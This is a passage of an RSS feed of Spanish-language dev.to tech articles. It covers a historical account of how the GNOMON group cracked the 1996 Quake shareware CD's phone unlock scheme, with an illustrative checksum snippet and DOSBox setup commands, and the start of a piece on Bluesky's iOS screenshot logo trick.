&lt;p&gt;El modelo de gama baja de Basler ronda los 700 dólares nuevo; Philo consiguió la suya usada en eBay por cerca de un décimo de ese precio.&lt;/p&gt;

&lt;h2&gt;
  
  
  Referencias
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://philo.gay/linecam/" rel="noopener noreferrer"&gt;Using the railway network as a flatbed scanner&lt;/a&gt;: artículo original de Philo con el detalle completo del proyecto, la galería de imágenes y el video de la charla en EMFcamp 2026.- &lt;a href="https://www.baslerweb.com" rel="noopener noreferrer"&gt;Basler AG&lt;/a&gt;: fabricante de la cámara industrial de escaneo lineal ruL2048-19gm usada en el proyecto.- &lt;a href="https://www.emfcamp.org" rel="noopener noreferrer"&gt;EMFcamp&lt;/a&gt;: congreso hacker bienal del Reino Unido donde se presentó la charla sobre este proyecto.- &lt;a href="https://en.wikipedia.org/wiki/Image_scanner" rel="noopener noreferrer"&gt;Image scanner (Wikipedia)&lt;/a&gt;: contexto general sobre las tecnologías de escaneo de imagen, incluidos los dorsos digitales de los años 90.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;📱 &lt;strong&gt;¿Te gusta este contenido?&lt;/strong&gt; Únete a nuestro canal de Telegram &lt;a href="https://t.me/programacion" rel="noopener noreferrer"&gt;@programacion&lt;/a&gt; donde publicamos a diario lo más relevante de tecnología, IA y desarrollo. Resúmenes rápidos, contenido fresco todos los días.&lt;/p&gt;

</description>
      <category>networking</category>
      <category>devops</category>
      <category>linux</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>GNOMON crackeó la protección del CD de Quake shareware en 39 días</title>
      <dc:creator>lu1tr0n</dc:creator>
      <pubDate>Tue, 18 Aug 2026 08:23:46 +0000</pubDate>
      <link>https://dev.to/lu1tr0n/gnomon-crackeo-la-proteccion-del-cd-de-quake-shareware-en-39-dias-1g4h</link>
      <guid>https://dev.to/lu1tr0n/gnomon-crackeo-la-proteccion-del-cd-de-quake-shareware-en-39-dias-1g4h</guid>
      <description>&lt;p&gt;En 1996, id Software imprimió 150.000 copias de un CD-ROM que nadie necesitaba pagar para desbloquear por completo: bastaba una herramienta gratuita llamada &lt;code&gt;QCRACK.EXE&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;El 17 de agosto de 2026, el investigador Fabien Sanglard publicó una reconstrucción técnica de cómo funcionaba el sistema de protección del &lt;strong&gt;Quake Shareware CD-ROM&lt;/strong&gt;, un esquema de desbloqueo telefónico que la escena hacker rompió en apenas 39 días tras su lanzamiento original.&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;El CD Quake Shareware de id Software se vendió por 9,95 dólares en CompUSA y Computer City desde el 30 de agosto de 1996.&lt;/li&gt;
&lt;li&gt;El grupo hacker GNOMON liberó Quakecrk.zip apenas 39 días después, el 8 de octubre de 1996, con la herramienta QCRACK.EXE.&lt;/li&gt;
&lt;li&gt;El desbloqueo usaba un CHALLENGE que rotaba cada 5 minutos y un SERIAL validado por teléfono al 1-800-ID-GAMES.&lt;/li&gt;
&lt;li&gt;La protección la proveía TestDrive Corp, una compañía externa, no id Software.&lt;/li&gt;
&lt;li&gt;id Software terminó con casi 150.000 CDs sin vender en un almacén tras el fracaso comercial del esquema.&lt;/li&gt;
&lt;li&gt;El número 1-800-669-9342 sigue activo en 2026, pero ya no conecta con un operador de desbloqueo.&lt;/li&gt;
&lt;li&gt;El CD incluía acceso cifrado a todo el catálogo de id: varias versiones de DOOM, Heretic y Hexen.&lt;/li&gt;
&lt;li&gt;Fabien Sanglard documentó el caso completo el 17 de agosto de 2026 en su blog técnico.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Introducción
&lt;/h2&gt;

&lt;p&gt;A mediados de los años noventa, el CD-ROM era el accesorio más codiciado para una PC, después del carísimo procesador Intel Pentium. Con una capacidad de 640 MiB, el triple que un disco duro típico de la época, el formato abrió la puerta a fotos en 640x480 con paleta de 256 colores, pistas de audio en formato VOC y videos de Video for Windows a 12 fps.&lt;/p&gt;

&lt;p&gt;Para los estudios de videojuegos, esa capacidad sobraba. Títulos como &lt;em&gt;7th Guest&lt;/em&gt; (1993), &lt;em&gt;Wing Commander III: Heart of the Tiger&lt;/em&gt; (1994) y &lt;em&gt;Phantasmagoria&lt;/em&gt; (1995) llenaron sus discos con secuencias de video de acción real, algo impensable cuando solo una porción de la pantalla podía animarse. John Carmack, líder técnico de id Software, veía ese relleno con desconfianza:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"La gente espera que los juegos en CD tengan toneladas de voz digitalizada y video [...] La broma aquí es que si alguna vez hacemos una versión en CD de DOOM, vas a recibir el juego y 'La Making of DOOM', un largometraje de una hora. Prefiero reducir todo a lo esencial y caber en un cartucho antes que inflar inútilmente un CD. Tengo un sentido minimalista de la estética en el diseño de juegos."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Esa frase, de enero de 1994 para la revista &lt;em&gt;Atari Explorer Online&lt;/em&gt;, explica por qué Quake terminó ocupando apenas 22 MiB en su versión shareware. Y explica también por qué a id Software se le ocurrió una idea audaz para aprovechar el espacio sobrante del disco.&lt;/p&gt;

&lt;h2&gt;
  
  
  Qué pasó con el Quake Shareware CD-ROM
&lt;/h2&gt;

&lt;p&gt;Para junio de 1996, tras tres años de desarrollo, id Software había terminado Quake. Como con sus juegos anteriores, la compañía planeaba lanzar una versión shareware gratuita y una versión completa de pago. Como el shareware ocupaba apenas 22 MiB de los 640 MiB disponibles en un CD-ROM, alguien en id tuvo una idea: llenar el espacio sobrante con versiones cifradas de todo el catálogo de la compañía.&lt;/p&gt;

&lt;p&gt;La lógica comercial parecía sólida. Un jugador podía comprar el CD por 9,95 dólares en tiendas como CompUSA o Computer City, probar el shareware, y si quería el juego completo (o cualquier otro título de id) bastaba una llamada a un número 800 con una tarjeta de crédito para recibir una contraseña de desbloqueo al instante. Sin distribuidores intermedios, sin esperar un envío por correo.&lt;/p&gt;

&lt;p&gt;El CD se anunció el 3 de julio de 1996 y salió a la venta el 30 de agosto de ese año. El experimento duró poco: el grupo hacker GNOMON liberó el archivo &lt;code&gt;Quakecrk.zip&lt;/code&gt; apenas 39 días después, el 8 de octubre de 1996. Dentro venía &lt;code&gt;QCRACK.EXE&lt;/code&gt;, una herramienta capaz de descifrar cualquiera de los juegos incluidos en el disco sin pasar por el teléfono ni la tarjeta de crédito.&lt;/p&gt;

&lt;h2&gt;
  
  
  Contexto e historia
&lt;/h2&gt;

&lt;p&gt;El periodista David Kushner documentó el desenlace en su libro &lt;em&gt;Masters of Doom&lt;/em&gt;: el experimento de venta minorista del shareware de Quake resultó un desastre. La idea de id era saltarse a los distribuidores dejando que los jugadores compraran el shareware y luego llamaran a un número 800 para pedir una contraseña que desbloqueara el resto del juego. Pero los jugadores no tardaron en hackear el shareware para desbloquear la versión completa gratis. Peor aún, los aspectos logísticos de distribución y cumplimiento de pedidos se salieron de control. En una medida desesperada, id intentó frenar la venta minorista del shareware, pero ya era tarde. Terminaron con casi 150.000 CDs acumulados en un almacén.&lt;/p&gt;

&lt;p&gt;El nombre del grupo, GNOMON, no aparece en los créditos de ningún juego: como buena parte de la escena de crackers de los noventa, operaba de forma anónima y distribuía su trabajo a través de BBS y sitios FTP underground, mucho antes de que existieran foros centralizados o redes P2P masivas. Que un solo grupo lograra romper el esquema de TestDrive Corp en poco más de un mes ilustra cuán rápido la escena podía analizar un binario de MS-DOS sin herramientas de depuración modernas.&lt;/p&gt;

&lt;p&gt;Gracias a archivos de Usenet del grupo &lt;em&gt;rec.games.computer.quake.misc&lt;/em&gt;, existen discusiones detalladas de cómo funcionaba el sistema en la práctica. El empaque tenía una calidad sorprendentemente alta para tratarse de un producto shareware: una estampa en la portada aclaraba que se trataba de la versión shareware, con instrucciones para llamar al 1-800-669-9342 (o 1-800-ID-GAMES) y desbloquear el juego completo.&lt;/p&gt;

&lt;p&gt;Ese número telefónico sigue activo en 2026. Pero como la cadena CompUSA cerró entre 2007 y 2008, ya no conecta con un operador de desbloqueo: hoy responde un mensaje automático que intenta vender productos sin relación con Quake.&lt;/p&gt;

&lt;p&gt;El CD costaba 9,95 dólares en CompUSA y Computer City.&lt;/p&gt;

&lt;h2&gt;
  
  
  Detalles técnicos y rendimiento
&lt;/h2&gt;

&lt;p&gt;El proceso de desbloqueo era, en apariencia, sólido. La interfaz gráfica del CD permitía saltar directo al shareware de Quake, pero también incluía un botón &lt;strong&gt;QUAKE UNLOCK&lt;/strong&gt;. Había además una sección llamada &lt;strong&gt;ID STUFF&lt;/strong&gt; que permitía explorar el catálogo completo de id y desbloquear cualquiera de sus juegos: varias versiones de DOOM, además de Heretic y Hexen.&lt;/p&gt;

&lt;p&gt;Al iniciar el desbloqueo, el programa generaba un número que Sanglard llama CHALLENGE, que el usuario debía comunicar por teléfono a un agente del servicio. Tras pagar, el agente entregaba un número de vuelta, el SERIAL, que desbloqueaba el juego. Ambos números incluían checksums para mitigar errores de transcripción propios de una llamada telefónica, el modo de comunicación más primitivo posible para este tipo de transacción.&lt;/p&gt;

&lt;p&gt;La pieza clave contra la reutilización de un SERIAL robado o compartido era el tiempo: el CHALLENGE cambiaba cada vez que se ejecutaba el programa y además rotaba automáticamente cada 5 minutos mientras la interfaz permanecía abierta. Como el CHALLENGE incluía un componente aleatorio, no había forma de reutilizar un SERIAL ya emitido para otra sesión.&lt;/p&gt;

&lt;p&gt;La tecnología detrás del bloqueo y desbloqueo no era de id Software: la proveía TestDrive Corp, una compañía externa especializada en sistemas antipiratería para distribución minorista. Ese detalle explica por qué el esquema se sostenía en un servicio telefónico de terceros y no en el propio código de Quake.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sequenceDiagram
    participant J as Jugador
    participant G as "GUI del CD"
    participant O as "Operador telefónico"
    participant T as "Sistema TestDrive"
    J-&amp;gt;&amp;gt;G: Ejecuta QUAKE UNLOCK
    G-&amp;gt;&amp;gt;J: Muestra el CHALLENGE
    J-&amp;gt;&amp;gt;O: Llama con el CHALLENGE
    O-&amp;gt;&amp;gt;T: Consulta el SERIAL
    T--&amp;gt;&amp;gt;O: Devuelve SERIAL con checksum
    O--&amp;gt;&amp;gt;J: Dicta el SERIAL por teléfono
    J-&amp;gt;&amp;gt;G: Ingresa el SERIAL
    G--&amp;gt;&amp;gt;J: Desbloquea el catálogo de id
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Para ilustrar el principio general de un desafío-respuesta con checksum, sin reproducir el algoritmo real de TestDrive, que nunca se publicó, un esquema simplificado luce así:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;random&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;generar_challenge&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;numero&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;randint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;999999&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;checksum&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;numero&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;numero&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;-&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;checksum&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;validar_serial&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;challenge&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;serial_ingresado&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;serial_esperado&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;numero&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;checksum&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;challenge&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;serial_ingresado&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;serial_esperado&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; \
        &lt;span class="nf"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;numero&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Este fragmento no reproduce el algoritmo de TestDrive, pero muestra el principio: un número que cambia en cada sesión, un checksum para detectar errores de dictado telefónico, y una validación que depende de ambos.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cómo probarlo
&lt;/h2&gt;

&lt;p&gt;El CD original de 1996 ya no se vende, pero el shareware que corría dentro sigue siendo perfectamente ejecutable hoy con un emulador de DOS. El shareware, por diseño, siempre fue de distribución libre, así que la forma más simple de revivir la experiencia es con DOSBox o su fork DOSBox-X, disponibles en las tres plataformas principales.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Windows (con winget)&lt;/span&gt;
winget &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--id&lt;/span&gt; DosBox.DosBox &lt;span class="nt"&gt;-e&lt;/span&gt;

&lt;span class="c"&gt;# macOS (con Homebrew)&lt;/span&gt;
brew &lt;span class="nb"&gt;install &lt;/span&gt;dosbox

&lt;span class="c"&gt;# Linux (Debian/Ubuntu)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;dosbox
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Con DOSBox instalado, el flujo para correr el shareware original es montar la carpeta como una unidad virtual y ejecutar el binario:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mount c /ruta/a/quake-shareware
c:
&lt;span class="nb"&gt;cd &lt;/span&gt;quake
QUAKE.EXE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Esto no desbloquea nada: solo corre la versión shareware original de 22 MiB, la misma que ejecutaban los jugadores de 1996 antes de decidir si llamaban al 1-800-ID-GAMES.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;💡 Tip:&lt;/strong&gt; Si querés ver documentos técnicos de la época, los archivos de Usenet de rec.games.computer.quake.misc siguen accesibles vía Google Groups y son la fuente primaria que usó Sanglard para reconstruir el protocolo.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;CompUSA y Computer City fueron los principales puntos de venta del CD.&lt;/p&gt;

&lt;h2&gt;
  
  
  Impacto y análisis
&lt;/h2&gt;

&lt;p&gt;El fracaso comercial del Quake Shareware CD-ROM tuvo consecuencias concretas. id Software quedó con cerca de 150.000 CDs sin vender, un problema logístico que Kushner documenta como parte del desgaste operativo de la compañía en esa etapa. El modelo de cortar intermediarios que prometía el CD terminó generando más fricción que ahorro: entre pedidos telefónicos, validación de tarjetas de crédito y el manejo de reclamos, la operación se volvió inmanejable antes de que la piratería del propio esquema lo rematara.&lt;/p&gt;

&lt;p&gt;El episodio también sirve como estudio de caso sobre el límite de un DRM basado en un secreto compartido y un canal de comunicación humano. Bastaba que un solo grupo entendiera la relación entre CHALLENGE y SERIAL para que la protección completa cayera, y una vez publicada la herramienta, cualquier usuario podía repetir el proceso sin límite.&lt;/p&gt;

&lt;p&gt;El patrón se repitió después con otros esquemas de protección basados en un secreto único y estático: cada vez que la validación depende de un solo algoritmo fijo, extraerlo del binario (con un depurador o, hoy, con herramientas de análisis estático automatizado) suele bastar para romper la protección completa, sin importar cuántas capas de checksum se agreguen encima.&lt;/p&gt;

&lt;p&gt;Modelo de distribuciónCómo funcionabaVentajaLimitación&lt;/p&gt;

&lt;p&gt;CD shareware con desbloqueo telefónico (Quake, 1996)CHALLENGE/SERIAL validado por un operador humano vía TestDrive CorpCompra instantánea, sin distribuidorUn solo crack expone todo el catálogo&lt;br&gt;
Shareware con registro postal (DOOM, 1993)El jugador enviaba un formulario y pago para recibir el juego completo por correoSin infraestructura de validación en tiempo realTiempos de entrega de días o semanas&lt;br&gt;
Distribución digital con cuenta (modelo actual)El binario se descarga cifrado y se valida contra una cuenta en cada ejecución onlineActualizaciones y parches automáticosRequiere conexión y dependencia de la plataforma&lt;/p&gt;

&lt;h2&gt;
  
  
  Qué sigue
&lt;/h2&gt;

&lt;p&gt;El caso del Quake Shareware CD-ROM anticipó un problema que la industria del software siguió resolviendo durante las tres décadas siguientes: cómo verificar una compra sin depender de un humano en el medio. Los sistemas modernos de activación heredan la misma lógica de desafío-respuesta que usaba TestDrive Corp, pero automatizada de punta a punta y sin checksums pensados para dictado telefónico.&lt;/p&gt;

&lt;p&gt;La comparación con la distribución digital actual no es solo nostálgica: explica por qué prácticamente ningún estudio grande vuelve hoy a un modelo de validación telefónica. El costo de operar call centers, imprimir CDs físicos y lidiar con inventario sin vender desapareció en cuanto la conexión a internet se volvió la norma en los hogares.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;💭 Clave:&lt;/strong&gt; El propio John Carmack predijo el problema antes de que ocurriera: su preferencia por juegos que quepan en un cartucho reflejaba desconfianza hacia el relleno multimedia que el CD-ROM incentivaba, no solo en contenido sino en la complejidad de distribución que traía consigo.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;📖 Resumen en Telegram: Ver resumen&lt;/p&gt;

&lt;p&gt;Probalo vos: instalá DOSBox con el comando de tu sistema operativo y corré el shareware original de Quake en minutos.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preguntas frecuentes
&lt;/h2&gt;

&lt;h3&gt;
  
  
  ¿Qué era el Quake Shareware CD-ROM?
&lt;/h3&gt;

&lt;p&gt;Un disco de 9,95 dólares vendido en 1996 en tiendas como CompUSA que incluía la versión shareware de Quake (22 MiB) más versiones cifradas de todo el catálogo de id Software, desbloqueables por teléfono.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Quién crackeó la protección?
&lt;/h3&gt;

&lt;p&gt;El grupo hacker GNOMON, que liberó la herramienta &lt;code&gt;QCRACK.EXE&lt;/code&gt; dentro del archivo &lt;code&gt;Quakecrk.zip&lt;/code&gt; el 8 de octubre de 1996, 39 días después del lanzamiento del CD.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Quién proveía la tecnología de protección?
&lt;/h3&gt;

&lt;p&gt;TestDrive Corp, una compañía externa especializada en sistemas de desbloqueo para distribución minorista, no id Software.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿El número 1-800-ID-GAMES sigue funcionando?
&lt;/h3&gt;

&lt;p&gt;El número sigue activo en 2026, pero ya no conecta con un operador de desbloqueo porque CompUSA cerró entre 2007 y 2008; hoy responde un mensaje automático ajeno a Quake.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Se puede jugar el shareware original hoy?
&lt;/h3&gt;

&lt;p&gt;Sí. El binario corre sin modificaciones en DOSBox o DOSBox-X en Windows, macOS y Linux, montando la carpeta del juego como unidad virtual.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Cuántos CDs quedaron sin vender?
&lt;/h3&gt;

&lt;p&gt;Según David Kushner en &lt;em&gt;Masters of Doom&lt;/em&gt;, id Software terminó con casi 150.000 CDs acumulados en un almacén tras el fracaso comercial del esquema.&lt;/p&gt;

&lt;h2&gt;
  
  
  Referencias
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://fabiensanglard.net/quake_shareware_cd/index.html" rel="noopener noreferrer"&gt;Quake Shareware, a CD-ROM just a little too full&lt;/a&gt;: la investigación original de Fabien Sanglard sobre el sistema de desbloqueo del CD.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://en.wikipedia.org/wiki/Quake_(video_game)" rel="noopener noreferrer"&gt;Quake (video game) - Wikipedia&lt;/a&gt;: contexto general sobre el desarrollo y lanzamiento del juego en 1996.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://en.wikipedia.org/wiki/Masters_of_Doom" rel="noopener noreferrer"&gt;Masters of Doom - Wikipedia&lt;/a&gt;: referencia al libro de David Kushner que documenta el desenlace comercial del esquema.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.dosbox.com/" rel="noopener noreferrer"&gt;DOSBox&lt;/a&gt;: emulador oficial usado para correr el shareware original de Quake en sistemas modernos.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;📱 &lt;strong&gt;¿Te gusta este contenido?&lt;/strong&gt; Únete a nuestro canal de Telegram &lt;a href="https://t.me/programacion" rel="noopener noreferrer"&gt;@programacion&lt;/a&gt; donde publicamos a diario lo más relevante de tecnología, IA y desarrollo. Resúmenes rápidos, contenido fresco todos los días.&lt;/p&gt;

</description>
      <category>technology</category>
      <category>science</category>
      <category>programming</category>
      <category>discuss</category>
    </item>
    <item>
      <title>Bluesky usa un campo de texto seguro para mostrar su logo en capturas</title>
      <dc:creator>lu1tr0n</dc:creator>
      <pubDate>Tue, 18 Aug 2026 02:23:32 +0000</pubDate>
      <link>https://dev.to/lu1tr0n/bluesky-usa-un-campo-de-texto-seguro-para-mostrar-su-logo-en-capturas-159n</link>
      <guid>https://dev.to/lu1tr0n/bluesky-usa-un-campo-de-texto-seguro-para-mostrar-su-logo-en-capturas-159n</guid>
      <description>&lt;p&gt;Cuando tomás una captura de pantalla de un post en Bluesky, en la esquina superior derecha aparece la mariposa que es el &lt;strong&gt;logo de Bluesky&lt;/strong&gt;. Pero si mirás la misma pantalla dentro de la app, ese espacio lo ocupa el botón Seguir. Nadie te avisa: el cambio ocurre en el instante exacto en que el sistema genera la imagen.&lt;/p&gt;

&lt;p&gt;El hallazgo lo publicó el 16 de agosto de 2026 un desarrollador que firma como mt, en un &lt;a href="https://timmarinin.net/2026/bluesky-screenshots/" rel="noopener noreferrer"&gt;post en su blog personal&lt;/a&gt;, después de notar que la mariposa nunca lo molestaba dentro de la app pero sí aparecía en cada captura que guardaba. La explicación estaba en el código abierto de Bluesky: un archivo llamado GrowthHack.tsx que reutiliza una función de iOS pensada originalmente para ocultar contraseñas.&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;La app iOS de Bluesky reemplaza el botón Seguir por el logo de Bluesky al detectar una captura de pantalla.&lt;/li&gt;
&lt;li&gt;El mecanismo vive en GrowthHack.tsx, agregado en enero de 2026 por el desarrollador mozzius.&lt;/li&gt;
&lt;li&gt;La librería expo-privacy-sensitive crea un UITextField con isSecureTextEntry y dibuja el botón dentro de su layer.&lt;/li&gt;
&lt;li&gt;iOS vacía el layer de un campo de texto seguro al capturar pantalla, revelando el logo que estaba detrás.&lt;/li&gt;
&lt;li&gt;El truco no funciona al cambiar de app: iOS toma esa vista previa sin activar el vaciado del campo seguro.&lt;/li&gt;
&lt;li&gt;En Android y web, expo-privacy-sensitive renderiza el contenido normal, sin ocultar nada.&lt;/li&gt;
&lt;li&gt;Telegram y Signal usan el mismo mecanismo de UITextField seguro para proteger chats secretos de capturas.&lt;/li&gt;
&lt;li&gt;El hilo donde el equipo discutió el cambio quedó bloqueado tras críticas de la comunidad.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Qué pasó con el logo de Bluesky en las capturas
&lt;/h2&gt;

&lt;p&gt;mt hizo una prueba simple: capturó un post que le gustaba para reenviarlo a un grupo de amigos. En la imagen final, el logo de Bluesky aparecía donde antes había un botón Seguir. Volvió a abrir la app y ahí, en la pantalla real, seguía el botón: nunca el logo.&lt;/p&gt;

&lt;p&gt;La primera hipótesis fue que la app detectaba la combinación de teclas de la captura y cambiaba la vista antes de que el sistema tomara la foto. mt probó otra cosa: deslizar hacia arriba para cambiar de app a mitad de gesto, sin completar la captura. En ese caso, la vista previa que genera iOS sí mostraba el botón Seguir, no el logo.&lt;/p&gt;

&lt;p&gt;Esa diferencia fue la pista clave. Si el cambio dependiera de una combinación de teclas, debería verse igual en los dos casos. Como no era así, el mecanismo tenía que depender de una función del propio sistema operativo, no de código de la app reaccionando a un gesto.&lt;/p&gt;

&lt;p&gt;Comparación real: la app muestra el botón; la captura, el logo.&lt;/p&gt;

&lt;h2&gt;
  
  
  Contexto e historia: un truco viejo con un uso nuevo
&lt;/h2&gt;

&lt;p&gt;iOS incluye desde hace más de una década una protección pensada para campos de contraseña: si marcás un &lt;code&gt;UITextField&lt;/code&gt; con la propiedad &lt;code&gt;isSecureTextEntry&lt;/code&gt; en true, el sistema oculta su contenido automáticamente cuando detecta una captura de pantalla o cuando genera la miniatura del selector de apps. Es la misma razón por la que tu contraseña nunca aparece en la vista previa del multitarea.&lt;/p&gt;

&lt;p&gt;Apps de mensajería cifrada llevan años reutilizando esa misma protección para todo tipo de contenido, no solo contraseñas. Telegram la aplica en sus chats secretos, y Signal hace algo equivalente para blindar el contenido completo de una conversación contra capturas no autorizadas. En ambos casos la lógica es defensiva: ocultar información sensible.&lt;/p&gt;

&lt;p&gt;Bluesky le dio la vuelta a esa lógica en enero de 2026. El desarrollador que usa el identificador mozzius agregó el archivo GrowthHack.tsx a la app, apoyado en una librería propia llamada expo-privacy-sensitive. El objetivo ya no era ocultar algo sensible, sino mostrar algo: el logo de Bluesky, que hasta ese momento quedaba tapado por el botón Seguir en cada perfil.&lt;/p&gt;

&lt;p&gt;Este tipo de decisiones se enmarca en lo que en la industria se conoce como growth hacking: cambios pequeños de producto, muchas veces invisibles para el usuario final, diseñados para aumentar la exposición orgánica de una marca sin gastar en publicidad. El propio nombre del archivo, GrowthHack.tsx, lo deja explícito.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;💭 Clave:&lt;/strong&gt; el logo de Bluesky no aparece por arte de magia en la captura: estuvo ahí todo el tiempo, dibujado detrás del botón Seguir, esperando a que el sistema vaciara el campo que lo tapaba.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Detalles técnicos: cómo un campo de contraseña dibuja un logo
&lt;/h2&gt;

&lt;p&gt;El paquete expo-privacy-sensitive no dibuja un ícono nuevo cuando detecta una captura. Hace algo más sutil: crea un &lt;code&gt;UITextField&lt;/code&gt; invisible, le pone &lt;code&gt;isSecureTextEntry = true&lt;/code&gt;, y renderiza el contenido real, en este caso el botón Seguir, dentro de la capa (&lt;code&gt;.layer&lt;/code&gt;) de ese campo.&lt;/p&gt;

&lt;p&gt;Un ejemplo simplificado en Swift de la idea central, sin el envoltorio de Expo, se vería así:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
